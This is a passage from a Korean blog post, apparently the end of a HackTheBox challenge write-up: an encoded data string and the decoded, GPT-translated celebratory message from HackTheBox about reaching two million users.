AAND3QNEy0DDi1PQzwxSAQwClghDA4OOhsALhZYOBMMHjBICiRPDyAAF0sjDUUqDg4tQQIINwcIMgMROwkGD3QcCiUKDCAEEUd0CQsmTw8tQQYKMw0XLhZYKQ8XAjcBFSMbHWgVCw50Cwo3AQwkBBAYdAUMLgoLPA4NDidIHCcbWDwOQwg7BQBsZXIABBEOcxtFNgBYPAkGSzoNHTZPGyAAEx8xGkliGBAtEwZLIw1FNQYUJEEABDocDCwaHWgVDEskHRYqTwwgBEMJOx0LJg4KIQQQSzsORSEWGi0TEA43HRcrGwFkQQoFJxgMMApYPAkGSzoNHTZPHy0PBhk1HAwtAVgnB0MOIAAMIQ4UaAkCCD8NFzFDWCkPB0s3GgAjGx1oAEMcOxoJJk8PIAQRDnQDCy0YFC0FBA50ARZiDhsrBBAYPQoJJ08MJ0ECBzhGb0g4ETwJQw8xDRUnHAxoBhEKIAERNwsdZGtpPzwNRQoOGyM1Cw4WBx1iOx0pDA=="}

또 GPT 시킨다.

데이터를 넣고 실행하니 다음과 같은 메세지가 나온다. 200만 축하축하🎉

HackTheBox Community에게,

우리는 함께하는 여정에서 중대한 이정표를 발표하게 되어 매우 기쁩니다. 엄청난 기쁨과 감사의 마음으로, 우리는 2백만 명의 놀라운 사용자들을 달성한 것을 축하합니다! 이 놀라운 위업은 여러분 한 사람 한 사람이 없었다면 불가능했을 것입니다.

Hack The Box는 처음부터 지식 공유, 협업 및 실제 경험이 개인 및 전문가의 성장에 필수적이라는 믿음을 바탕으로 구축되었습니다. 우리는 함께 혁신이 번성하고 기술이 연마되는 환경을 조성했습니다. 각각의 도전이 완료되고, 각 기계가 정복되고, 학습된 모든 기술이 이 활기찬 공동체에 연료를 공급하는 집단 지성에 기여했습니다.

Hack The Box 커뮤니티의 모든 구성원 여러분, 이 놀라운 여정에 참여해 주셔서 감사합니다. 귀사의 기여는 NAT 플랫폼의 기본 구조를 형성하고 지속적으로 혁신하고 발전하도록 영감을 주었습니다. 우리는 우리가 함께 성취한 것에 대해 매우 자랑스럽고, 앞으로 다가올 수많은 이정표를 간절히 기대합니다.

다음 장으로 넘어가겠습니다. 여기서 우리는 계속해서 사이버 보안의 경계를 넓히고, 다음 세대의 윤리적 해커들에게 영감을 주고, 모든 사람이 지식에 접근할 수 있는 세상을 만들 것입니다.

깊은 감사를 표하며,

핵 더 박스 팀

done

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글